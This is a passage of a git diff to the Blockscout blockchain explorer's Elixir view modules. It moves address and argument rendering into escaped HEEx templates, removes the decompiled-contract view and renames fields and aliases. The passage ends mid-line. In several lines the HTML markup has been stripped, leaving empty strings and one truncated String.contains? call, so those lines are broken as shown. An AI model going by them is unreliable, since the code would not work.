ABI.{FunctionSelector, TypeDecoder} + require Logger + + import Explorer.Helper, only: [decode_data: 2] + import Phoenix.LiveView.Helpers, only: [sigil_H: 2] + + alias ABI.FunctionSelector alias Explorer.Chain alias Explorer.Chain.{Address, Data, InternalTransaction, Transaction} + alias Explorer.Chain.SmartContract + alias Explorer.Chain.SmartContract.Proxy.EIP1167 + alias Explorer.SmartContract.Helper, as: SmartContractHelper + alias Phoenix.HTML.Safe def render("scripts.html", %{conn: conn}) do render_scripts(conn, "address_contract/code_highlighting.js") @@ -34,8 +43,14 @@ defmodule BlockScoutWeb.AddressContractView do |> Enum.zip(constructor_abi["inputs"]) |> Enum.reduce({0, "#{contract.constructor_arguments}\n\n"}, fn {val, %{"type" => type}}, {count, acc} -> formatted_val = val_to_string(val, type, conn) - - {count + 1, "#{acc}Arg [#{count}] (#{type}) : #{formatted_val}\n"} + assigns = %{acc: acc, count: count, type: type, formatted_val: formatted_val} + + {count + 1, + ~H""" + <%= @acc %> Arg [<%= @count %>] (<%= @type %>) : <%= @formatted_val %> + """ + |> Safe.to_iodata() + |> List.to_string()} end) result @@ -46,17 +61,12 @@ defmodule BlockScoutWeb.AddressContractView do defp val_to_string(val, type, conn) do cond do type =~ "[]" -> - if is_list(val) or is_tuple(val) do - "[" <> - Enum.map_join(val, ", ", fn el -> val_to_string(el, String.replace_suffix(type, "[]", ""), conn) end) <> "]" - else - to_string(val) - end + val_to_string_if_array(val, type, conn) type =~ "address" -> address_hash = "0x" <> Base.encode16(val, case: :lower) - address = get_address(address_hash) + address = Chain.string_to_address_hash_or_nil(address_hash) get_formatted_address_data(address, address_hash, conn) @@ -68,59 +78,62 @@ defmodule BlockScoutWeb.AddressContractView do end end - defp get_address(address_hash) do - case Chain.string_to_address_hash(address_hash) do - {:ok, address} -> address - _ -> nil + defp val_to_string_if_array(val, type, conn) do + if is_list(val) or is_tuple(val) do + "[" <> + Enum.map_join(val, ", ", fn el -> val_to_string(el, String.replace_suffix(type, "[]", ""), conn) end) <> "]" + else + to_string(val) end end defp get_formatted_address_data(address, address_hash, conn) do if address != nil do - "" <> address_hash <> "" + assigns = %{address: address, address_hash: address_hash, conn: conn} + + ~H""" + <%= @address_hash %> + """ else address_hash end end - defp decode_data("0x" <> encoded_data, types) do - decode_data(encoded_data, types) - end - - defp decode_data(encoded_data, types) do - encoded_data - |> Base.decode16!(case: :mixed) - |> TypeDecoder.decode_raw(types) - end - def format_external_libraries(libraries, conn) do Enum.reduce(libraries, "", fn %{name: name, address_hash: address_hash}, acc -> - address = get_address(address_hash) - "#{acc}#{name} : #{get_formatted_address_data(address, address_hash, conn)} \n" + address = Chain.string_to_address_hash_or_nil(address_hash) + assigns = %{acc: acc, name: name, address: address, address_hash: address_hash, conn: conn} + + ~H""" + <%= @acc %><%= @name %> : <%= get_formatted_address_data(@address, @address_hash, @conn) %> + """ + |> Safe.to_iodata() + |> List.to_string() end) end - def contract_lines_with_index(source_code) do - contract_lines = - source_code - |> String.split("\n") - - max_digits = - contract_lines - |> Enum.count() - |> Integer.digits() - |> Enum.count() - - contract_lines - |> Enum.with_index(1) - |> Enum.map(fn {value, line} -> - {value, String.pad_leading(to_string(line), max_digits, " ")} - end) + def contract_creation_code(%Address{ + contract_creation_transaction: %Transaction{ + status: :error, + input: creation_code + } + }) do + {:failed, creation_code} + end + + def contract_creation_code(%Address{ + contract_creation_internal_transaction: %InternalTransaction{ + error: error, + init: init + } + }) + when not is_nil(error) do + {:failed, init} end def contract_creation_code(%Address{ contract_code: %Data{bytes: <<>>}, - contracts_creation_internal_transaction: %InternalTransaction{init: init} + contract_creation_internal_transaction: %InternalTransaction{init: init} }) do {:selfdestructed, init} end @@ -129,15 +142,15 @@ defmodule BlockScoutWeb.AddressContractView do {:ok, contract_code} end - def creation_code(%Address{contracts_creation_internal_transaction: %InternalTransaction{}} = address) do - address.contracts_creation_internal_transaction.input + def creation_code(%Address{contract_creation_transaction: %Transaction{}} = address) do + address.contract_creation_transaction.input end - def creation_code(%Address{contracts_creation_transaction: %Transaction{}} = address) do - address.contracts_creation_transaction.input + def creation_code(%Address{contract_creation_internal_transaction: %InternalTransaction{}} = address) do + address.contract_creation_internal_transaction.init end - def creation_code(%Address{contracts_creation_transaction: nil}) do + def creation_code(%Address{contract_creation_transaction: nil}) do nil end @@ -146,6 +159,12 @@ defmodule BlockScoutWeb.AddressContractView do chain_id = Application.get_env(:explorer, Explorer.ThirdPartyIntegrations.Sourcify)[:chain_id] repo_url = Application.get_env(:explorer, Explorer.ThirdPartyIntegrations.Sourcify)[:repo_url] match = if partial_match, do: "/partial_match/", else: "/full_match/" - repo_url <> match <> chain_id <> "/" <> checksummed_hash <> "/" + + if chain_id do + repo_url <> match <> chain_id <> "/" <> checksummed_hash <> "/" + else + Logger.warning("chain_id is nil. Please set CHAIN_ID env variable.") + nil + end end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_decompiled_contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_decompiled_contract_view.ex deleted file mode 100644 index 4e06e377dc28..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/address_decompiled_contract_view.ex +++ /dev/null @@ -1,272 +0,0 @@ -defmodule BlockScoutWeb.AddressDecompiledContractView do - use BlockScoutWeb, :view - - @colors %{ - "\e[95m" => "", - # red - "\e[91m" => "", - # gray - "\e[38;5;8m" => "", - # green - "\e[32m" => "", - # yellowgreen - "\e[93m" => "", - # yellow - "\e[92m" => "", - # red - "\e[94m" => "" - } - - @comment_start "#" - - @reserved_words_types [ - "var", - "bool", - "string", - "int", - "uint", - "int8", - "uint8", - "int16", - "uint16", - "int24", - "uint24", - "int32", - "uint32", - "int40", - "uint40", - "int48", - "uint48", - "int56", - "uint56", - "int64", - "uint64", - "int72", - "uint72", - "int80", - "uint80", - "int88", - "uint88", - "int96", - "uint96", - "int104", - "uint104", - "int112", - "uint112", - "int120", - "uint120", - "int128", - "uint128", - "int136", - "uint136", - "int144", - "uint144", - "int152", - "uint152", - "int160", - "uint160", - "int168", - "uint168", - "int176", - "uint176", - "int184", - "uint184", - "int192", - "uint192", - "int200", - "uint200", - "int208", - "uint208", - "int216", - "uint216", - "int224", - "uint224", - "int232", - "uint232", - "int240", - "uint240", - "int248", - "uint248", - "int256", - "uint256", - "byte", - "bytes", - "bytes1", - "bytes2", - "bytes3", - "bytes4", - "bytes5", - "bytes6", - "bytes7", - "bytes8", - "bytes9", - "bytes10", - "bytes11", - "bytes12", - "bytes13", - "bytes14", - "bytes15", - "bytes16", - "bytes17", - "bytes18", - "bytes19", - "bytes20", - "bytes21", - "bytes22", - "bytes23", - "bytes24", - "bytes25", - "bytes26", - "bytes27", - "bytes28", - "bytes29", - "bytes30", - "bytes31", - "bytes32", - "true", - "false", - "enum", - "struct", - "mapping", - "address" - ] - - @reserved_words_keywords [ - "def", - "require", - "revert", - "return", - "assembly", - "memory", - "mem" - ] - - @modifiers [ - "payable", - "public", - "view", - "pure", - "returns", - "internal" - ] - - @reserved_words @reserved_words_keywords ++ @reserved_words_types - - @reserved_words_regexp ([@comment_start | @reserved_words] ++ @modifiers) - |> Enum.reduce("", fn el, acc -> acc <> "|" <> el end) - |> Regex.compile!() - - def highlight_decompiled_code(code) do - {_, result} = - @colors - |> Enum.reduce(code, fn {symbol, rgb}, acc -> - String.replace(acc, symbol, rgb) - end) - |> String.replace("\e[1m", "") - |> String.replace("»", "»") - |> String.replace("\e[0m", "") - |> String.split(~r/\|\|\<\/span\>/, - include_captures: true, - trim: true - ) - |> add_styles_to_every_line() - - result - |> Enum.reduce("", fn part, acc -> - part <> acc - end) - |> add_styles_to_reserved_words() - |> add_line_numbers() - end - - defp add_styles_to_every_line(lines) do - lines - |> Enum.reduce({"", []}, fn part, {style, acc} -> - new_style = - cond do - String.contains?(part, " part - part == "" -> "" - true -> style - end - - new_part = new_part(part, new_style) - - {new_style, [new_part | acc]} - end) - end - - defp add_styles_to_reserved_words(code) do - code - |> String.split("\n") - |> Enum.map(fn line -> - add_styles_to_line(line) - end) - |> Enum.reduce("", fn el, acc -> - acc <> el <> "\n" - end) - end - - defp add_styles_to_line(line) do - parts = - line - |> String.split(@reserved_words_regexp, - include_captures: true - ) - - comment_position = Enum.find_index(parts, fn part -> part == "#" end) - - parts - |> Enum.with_index() - |> Enum.map(fn {el, index} -> - cond do - !(is_nil(comment_position) || comment_position > index) -> el - el in @reserved_words -> "" <> el <> "" - el in @modifiers -> "" <> el <> "" - true -> el - end - end) - |> Enum.reduce("", fn el, acc -> - acc <> el - end) - end - - def last_decompiled_contract_version(decompiled_contracts) when is_nil(decompiled_contracts), do: nil - - def last_decompiled_contract_version(decompiled_contracts) when decompiled_contracts == [], do: nil - - def last_decompiled_contract_version(decompiled_contracts) do - Enum.max_by(decompiled_contracts, & &1.decompiler_version) - end - - defp add_line_numbers(code) do - code - |> String.split("\n") - |> Enum.reduce("", fn line, acc -> - acc <> "#{line}\n" - end) - end - - defp new_part(part, new_style) do - cond do - part == "" -> - "" - - part == "" -> - "" - - part == new_style -> - "" - - new_style == "" -> - part - - true -> - part - |> String.split("\n") - |> Enum.reduce("", fn p, a -> - a <> new_style <> p <> "\n" - end) - |> String.slice(0..-2) - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_internal_transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_internal_transaction_view.ex index 092e22363dc9..81cb6ca558b1 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_internal_transaction_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_internal_transaction_view.ex @@ -1,8 +1,9 @@ defmodule BlockScoutWeb.AddressInternalTransactionView do use BlockScoutWeb, :view - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain.Address + alias Explorer.SmartContract.Helper, as: SmartContractHelper def format_current_filter(filter) do case filter do diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_logs_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_logs_view.ex index 577661ab8161..e1a4862fe21a 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_logs_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_logs_view.ex @@ -1,9 +1,8 @@ defmodule BlockScoutWeb.AddressLogsView do use BlockScoutWeb, :view - alias Explorer.Chain.{Address, Log} + alias Explorer.Chain.Address + alias Explorer.SmartContract.Helper, as: SmartContractHelper - def decode(log, transaction) do - Log.decode(log, transaction) - end + import BlockScoutWeb.AddressView, only: [decode: 2] end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_read_contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_read_contract_view.ex index 559af200bc35..e13b14768e9b 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_read_contract_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_read_contract_view.ex @@ -1,3 +1,5 @@ defmodule BlockScoutWeb.AddressReadContractView do use BlockScoutWeb, :view + + alias Explorer.SmartContract.Helper, as: SmartContractHelper end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_read_proxy_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_read_proxy_view.ex index e51247fdd8e2..447f362c3c5e 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_read_proxy_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_read_proxy_view.ex @@ -1,3 +1,5 @@ defmodule BlockScoutWeb.AddressReadProxyView do use BlockScoutWeb, :view + + alias Explorer.SmartContract.Helper, as: SmartContractHelper end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_token_balance_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_token_balance_view.ex index 47d6525b0489..46f0e6a6c759 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_token_balance_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_token_balance_view.ex @@ -1,93 +1,20 @@ defmodule BlockScoutWeb.AddressTokenBalanceView do use BlockScoutWeb, :view - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain alias Explorer.Chain.Address - alias Explorer.Counters.AddressTokenUsdSum + alias Explorer.Chain.Cache.Counters.AddressTokensUsdSum def tokens_count_title(token_balances) do ngettext("%{count} token", "%{count} tokens", Enum.count(token_balances)) end def filter_by_type(token_balances, type) do - Enum.filter(token_balances, fn {token_balance, _} -> token_balance.token.type == type end) - end - - @doc """ - Sorts the given list of tokens in alphabetically order considering nil values in the bottom of - the list. - """ - def sort_by_name(token_balances) do - {unnamed, named} = Enum.split_with(token_balances, &is_nil(&1.token.name)) - Enum.sort_by(named, &String.downcase(&1.token.name)) ++ unnamed - end - - @doc """ - Sorts the given list of tokens by usd_value of token in descending order and alphabetically order considering nil values in the bottom of - the list. - """ - def sort_by_usd_value_and_name(token_balances) do - token_balances - |> Enum.sort(fn {token_balance1, token1}, {token_balance2, token2} -> - usd_value1 = token_balance1.token.usd_value - usd_value2 = token_balance2.token.usd_value - - token_name1 = token1.name - token_name2 = token2.name - - sort_by_name = sort_2_tokens_by_name(token_name1, token_name2) - - sort_2_tokens_by_value_desc_and_name(token_balance1, token_balance2, usd_value1, usd_value2, sort_by_name) - end) - end - - defp sort_2_tokens_by_name(token_name1, token_name2) do - cond do - token_name1 && token_name2 -> - String.downcase(token_name1) <= String.downcase(token_name2) - - token_name1 && is_nil(token_name2) -> - true - - is_nil(token_name1) && token_name2 -> - false - - true -> - true - end - end - - defp sort_2_tokens_by_value_desc_and_name(token_balance1, token_balance2, usd_value1, usd_value2, sort_by_name) - when not is_nil(usd_value1) and not is_nil(usd_value2) do - case Decimal.compare(Chain.balance_in_usd(token_balance1), Chain.balance_in_usd(token_balance2)) do - :gt -> - true - - :eq -> - sort_by_name - - :lt -> - false - end - end - - defp sort_2_tokens_by_value_desc_and_name(_token_balance1, _token_balance2, usd_value1, usd_value2, _sort_by_name) - when not is_nil(usd_value1) and is_nil(usd_value2) do - true - end - - defp sort_2_tokens_by_value_desc_and_name(_token_balance1, _token_balance2, usd_value1, usd_value2, _sort_by_name) - when is_nil(usd_value1) and not is_nil(usd_value2) do - false - end - - defp sort_2_tokens_by_value_desc_and_name(_token_balance1, _token_balance2, usd_value1, usd_value2, sort_by_name) - when is_nil(usd_value1) and is_nil(usd_value2) do - sort_by_name + Enum.filter(token_balances, fn token_balance -> token_balance.token.type == type end) end def address_tokens_usd_sum_cache(address, token_balances) do - AddressTokenUsdSum.fetch(address, token_balances) + AddressTokensUsdSum.fetch(address, token_balances) end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_token_transfer_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_token_transfer_view.ex index ca82caa32d65..c053e54af567 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_token_transfer_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_token_transfer_view.ex @@ -1,8 +1,9 @@ defmodule BlockScoutWeb.AddressTokenTransferView do use BlockScoutWeb, :view - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain.Address + alias Explorer.SmartContract.Helper, as: SmartContractHelper def format_current_filter(filter) do case filter do diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_token_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_token_view.ex index 83cdf79a7182..941cfe292497 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_token_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_token_view.ex @@ -4,4 +4,5 @@ defmodule BlockScoutWeb.AddressTokenView do alias BlockScoutWeb.{AddressView, ChainView} alias Explorer.Chain alias Explorer.Chain.{Address, Wei} + alias Explorer.SmartContract.Helper, as: SmartContractHelper end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_transaction_view.ex index 64ba591cec3a..b6539a49a2db 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_transaction_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_transaction_view.ex @@ -1,8 +1,9 @@ defmodule BlockScoutWeb.AddressTransactionView do use BlockScoutWeb, :view - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain.Address + alias Explorer.SmartContract.Helper, as: SmartContractHelper def format_current_filter(filter) do case filter do diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_validation_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_validation_view.ex index 65f2bb0e9d35..1625fb33cdfd 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_validation_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_validation_view.ex @@ -1,5 +1,5 @@ defmodule BlockScoutWeb.AddressValidationView do use BlockScoutWeb, :view - # import BlockScoutWeb.AddressView, only: [contract?: 1, smart_contract_verified?: 1] + alias Explorer.SmartContract.Helper, as: SmartContractHelper end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_view.ex index f0b262d2913e..74337756e236 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_view.ex @@ -3,19 +3,25 @@ defmodule BlockScoutWeb.AddressView do require Logger - alias BlockScoutWeb.{AccessHelpers, LayoutView} - alias Explorer.{Chain, CustomContractsHelpers, Repo} - alias Explorer.Chain.{Address, Hash, InternalTransaction, SmartContract, Token, TokenTransfer, Transaction, Wei} + alias BlockScoutWeb.{AccessHelper, LayoutView} + alias BlockScoutWeb.API.V2.Helper, as: APIV2Helper + alias BlockScoutWeb.API.V2.TransactionView, as: APIV2TransactionView + alias Explorer.Account.CustomABI + alias Explorer.{Chain, CustomContractsHelper, Repo} + alias Explorer.Chain.Address.Counters + alias Explorer.Chain.{Address, Hash, InternalTransaction, Log, SmartContract, Token, TokenTransfer, Transaction, Wei} alias Explorer.Chain.Block.Reward - alias Explorer.ExchangeRates.Token, as: TokenExchangeRate + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Market.Token, as: TokenExchangeRate alias Explorer.SmartContract.{Helper, Writer} + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + @dialyzer :no_match @tabs [ "coin-balances", "contracts", - "decompiled-contracts", "internal-transactions", "token-transfers", "read-contract", @@ -30,7 +36,7 @@ defmodule BlockScoutWeb.AddressView do def address_partial_selector(struct_to_render_from, direction, current_address, truncate \\ false) def address_partial_selector(%Address{} = address, _, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector( @@ -52,19 +58,19 @@ defmodule BlockScoutWeb.AddressView do end def address_partial_selector(%InternalTransaction{to_address: address}, :to, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector(%InternalTransaction{from_address: address}, :from, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector(%TokenTransfer{to_address: address}, :to, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector(%TokenTransfer{from_address: address}, :from, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector( @@ -86,11 +92,11 @@ defmodule BlockScoutWeb.AddressView do end def address_partial_selector(%Transaction{to_address: address}, :to, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector(%Transaction{from_address: address}, :from, current_address, truncate) do - matching_address_check(current_address, address, contract?(address), truncate) + matching_address_check(current_address, address, Address.smart_contract?(address), truncate) end def address_partial_selector(%Reward{address: address}, _, current_address, truncate) do @@ -98,7 +104,7 @@ defmodule BlockScoutWeb.AddressView do end def address_title(%Address{} = address) do - if contract?(address) do + if Address.smart_contract?(address) do gettext("Contract Address") else gettext("Address") @@ -161,12 +167,6 @@ defmodule BlockScoutWeb.AddressView do to_string(fetched_coin_balance_block_number) end - def contract?(%Address{contract_code: nil}), do: false - - def contract?(%Address{contract_code: _}), do: true - - def contract?(nil), do: true - def validator?(val) when val > 0, do: true def validator?(_), do: false @@ -178,29 +178,26 @@ defmodule BlockScoutWeb.AddressView do @doc """ Returns the primary name of an address if available. If there is no names on address function performs preload of names association. """ - def primary_name(_, second_time? \\ false) + def primary_name(nil), do: nil - def primary_name(%Address{names: [_ | _] = address_names}, _second_time?) do - case Enum.find(address_names, &(&1.primary == true)) do - nil -> - %Address.Name{name: name} = Enum.at(address_names, 0) - name - - %Address.Name{name: name} -> - name - end + def primary_name(%Address{names: [_ | _]} = address) do + APIV2Helper.address_name(address) end - def primary_name(%Address{names: _} = address, false) do - primary_name(Repo.preload(address, [:names]), true) + def primary_name(%Address{names: %Ecto.Association.NotLoaded{}} = address) do + primary_name(Repo.preload(address, [:names])) end - def primary_name(%Address{names: _}, true), do: nil - - def implementation_name(%Address{smart_contract: %{implementation_name: implementation_name}}), - do: implementation_name - - def implementation_name(_), do: nil + def primary_name(%Address{names: _} = address) do + with true <- Address.smart_contract_with_nonempty_code?(address), + bytecode_twin <- SmartContract.get_verified_bytecode_twin_contract(address), + false <- is_nil(bytecode_twin) do + bytecode_twin.name + else + _ -> + nil + end + end def primary_validator_metadata(%Address{names: [_ | _] = address_names}) do case Enum.find(address_names, &(&1.primary == true)) do @@ -237,39 +234,23 @@ defmodule BlockScoutWeb.AddressView do |> Base.encode64() end - def smart_contract_verified?(%Address{smart_contract: %{metadata_from_verified_twin: true}}), do: false - - def smart_contract_verified?(%Address{smart_contract: %SmartContract{}}), do: true - - def smart_contract_verified?(%Address{smart_contract: nil}), do: false - def smart_contract_with_read_only_functions?(%Address{smart_contract: %SmartContract{}} = address) do - Enum.any?(address.smart_contract.abi, &is_read_function?(&1)) + Enum.any?(address.smart_contract.abi || [], &read_function?(&1)) end - def smart_contract_with_read_only_functions?(%Address{smart_contract: nil}), do: false - - def is_read_function?(function), do: Helper.queriable_method?(function) || Helper.read_with_wallet_method?(function) - - def smart_contract_is_proxy?(%Address{smart_contract: %SmartContract{}} = address) do - Chain.proxy_contract?(address.hash, address.smart_contract.abi) - end + def smart_contract_with_read_only_functions?(%Address{smart_contract: _}), do: false - def smart_contract_is_proxy?(%Address{smart_contract: nil}), do: false + def read_function?(function), do: Helper.queryable_method?(function) || Helper.read_with_wallet_method?(function) def smart_contract_with_write_functions?(%Address{smart_contract: %SmartContract{}} = address) do - Enum.any?( - address.smart_contract.abi, - &Writer.write_function?(&1) - ) + !contract_interaction_disabled?() && + Enum.any?( + address.smart_contract.abi || [], + &Writer.write_function?(&1) + ) end - def smart_contract_with_write_functions?(%Address{smart_contract: nil}), do: false - - def has_decompiled_code?(address) do - address.has_decompiled_code? || - (Ecto.assoc_loaded?(address.decompiled_smart_contracts) && Enum.count(address.decompiled_smart_contracts) > 0) - end + def smart_contract_with_write_functions?(%Address{smart_contract: _}), do: false def token_title(%Token{name: nil, contract_address_hash: contract_address_hash}) do short_hash_left_right(contract_address_hash) @@ -293,20 +274,20 @@ defmodule BlockScoutWeb.AddressView do "#{String.slice(string_hash, 0..21)}..." end - def transaction_hash(%Address{contracts_creation_internal_transaction: %InternalTransaction{}} = address) do - address.contracts_creation_internal_transaction.transaction_hash + def transaction_hash(%Address{contract_creation_internal_transaction: %InternalTransaction{}} = address) do + address.contract_creation_internal_transaction.transaction_hash end - def transaction_hash(%Address{contracts_creation_transaction: %Transaction{}} = address) do - address.contracts_creation_transaction.hash + def transaction_hash(%Address{contract_creation_transaction: %Transaction{}} = address) do + address.contract_creation_transaction.hash end - def from_address_hash(%Address{contracts_creation_internal_transaction: %InternalTransaction{}} = address) do - address.contracts_creation_internal_transaction.from_address_hash + def from_address_hash(%Address{contract_creation_internal_transaction: %InternalTransaction{}} = address) do + address.contract_creation_internal_transaction.from_address_hash end - def from_address_hash(%Address{contracts_creation_transaction: %Transaction{}} = address) do - address.contracts_creation_transaction.from_address_hash + def from_address_hash(%Address{contract_creation_transaction: %Transaction{}} = address) do + address.contract_creation_transaction.from_address_hash end def from_address_hash(_address), do: nil @@ -341,6 +322,17 @@ defmodule BlockScoutWeb.AddressView do ] end + defp matching_address_check(current_address, nil, contract?, truncate) do + [ + view_module: __MODULE__, + partial: "_responsive_hash.html", + address: current_address, + contract: contract?, + truncate: truncate, + use_custom_tooltip: false + ] + end + @doc """ Get the current tab name/title from the request path and possible tab names. @@ -362,7 +354,6 @@ defmodule BlockScoutWeb.AddressView do defp tab_name(["transactions"]), do: gettext("Transactions") defp tab_name(["token-transfers"]), do: gettext("Token Transfers") defp tab_name(["contracts"]), do: gettext("Code") - defp tab_name(["decompiled-contracts"]), do: gettext("Decompiled Code") defp tab_name(["read-contract"]), do: gettext("Read Contract") defp tab_name(["read-proxy"]), do: gettext("Read Proxy") defp tab_name(["write-contract"]), do: gettext("Write Contract") @@ -435,15 +426,62 @@ defmodule BlockScoutWeb.AddressView do def address_page_title(address) do cond do - smart_contract_verified?(address) -> "#{address.smart_contract.name} (#{to_string(address)})" - contract?(address) -> "Contract #{to_string(address)}" + APIV2Helper.smart_contract_verified?(address) -> "#{address.smart_contract.name} (#{to_string(address)})" + Address.smart_contract?(address) -> "Contract #{to_string(address)}" true -> "#{to_string(address)}" end end - def smart_contract_is_gnosis_safe_proxy?(%Address{smart_contract: %SmartContract{}} = address) do - address.smart_contract.name == "GnosisSafeProxy" && Chain.gnosis_safe_contract?(address.smart_contract.abi) + def tag_name_to_label(tag_name) do + tag_name + |> String.replace(" ", "-") + end + + def fetch_custom_abi(conn, address_hash) do + if current_user = current_user(conn) do + CustomABI.get_custom_abi_by_identity_id_and_address_hash(address_hash, current_user.id) + end + end + + def has_address_custom_abi_with_read_functions?(conn, address_hash) do + custom_abi = fetch_custom_abi(conn, address_hash) + + check_custom_abi_for_having_read_functions(custom_abi) + end + + def check_custom_abi_for_having_read_functions(custom_abi), + do: !is_nil(custom_abi) && Enum.any?(custom_abi.abi, &read_function?(&1)) + + def has_address_custom_abi_with_write_functions?(conn, address_hash) do + if contract_interaction_disabled?() do + false + else + custom_abi = fetch_custom_abi(conn, address_hash) + + check_custom_abi_for_having_write_functions(custom_abi) + end end - def smart_contract_is_gnosis_safe_proxy?(_address), do: false + def check_custom_abi_for_having_write_functions(custom_abi), + do: !is_nil(custom_abi) && Enum.any?(custom_abi.abi, &Writer.write_function?(&1)) + + def contract_interaction_disabled?, do: Application.get_env(:block_scout_web, :contract)[:disable_interaction] + + @doc """ + Decodes given log + """ + @spec decode(Log.t(), Transaction.t()) :: + {:ok, String.t(), String.t(), map()} + | {:error, atom()} + | {:error, atom(), list()} + | {{:error, :contract_not_verified, list()}, any()} + def decode(log, transaction) do + full_abi = + (APIV2TransactionView.extract_implementations_abi(log.address.proxy_implementations) ++ + APIV2TransactionView.try_to_get_abi(log.address.smart_contract)) + |> Enum.uniq() + + {result, _events_acc} = Log.decode(log, transaction, [], true, false, full_abi) + result + end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_withdrawal_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_withdrawal_view.ex new file mode 100644 index 000000000000..80572ba12789 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/address_withdrawal_view.ex @@ -0,0 +1,5 @@ +defmodule BlockScoutWeb.AddressWithdrawalView do + use BlockScoutWeb, :view + + alias Explorer.SmartContract.Helper, as: SmartContractHelper +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_write_contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_write_contract_view.ex index c21e1f51c9bf..dc8d88ce5cc3 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_write_contract_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_write_contract_view.ex @@ -1,3 +1,5 @@ defmodule BlockScoutWeb.AddressWriteContractView do use BlockScoutWeb, :view + + alias Explorer.SmartContract.Helper, as: SmartContractHelper end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_write_proxy_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_write_proxy_view.ex index 17634e9fb195..b27e5df50319 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_write_proxy_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_write_proxy_view.ex @@ -1,3 +1,5 @@ defmodule BlockScoutWeb.AddressWriteProxyView do use BlockScoutWeb, :view + + alias Explorer.SmartContract.Helper, as: SmartContractHelper end diff --git a/apps/block_scout_web/lib/block_scout_web/views/admin/session_view.ex b/apps/block_scout_web/lib/block_scout_web/views/admin/session_view.ex index 6e99ff671147..0c0080118f68 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/admin/session_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/admin/session_view.ex @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.Admin.SessionView do use BlockScoutWeb, :view - import BlockScoutWeb.AdminRouter.Helpers + import BlockScoutWeb.Routers.AdminRouter.Helpers alias BlockScoutWeb.FormView end diff --git a/apps/block_scout_web/lib/block_scout_web/views/admin/setup_view.ex b/apps/block_scout_web/lib/block_scout_web/views/admin/setup_view.ex index 75f8a36f04a8..ab2df94f5f54 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/admin/setup_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/admin/setup_view.ex @@ -1,7 +1,7 @@ defmodule 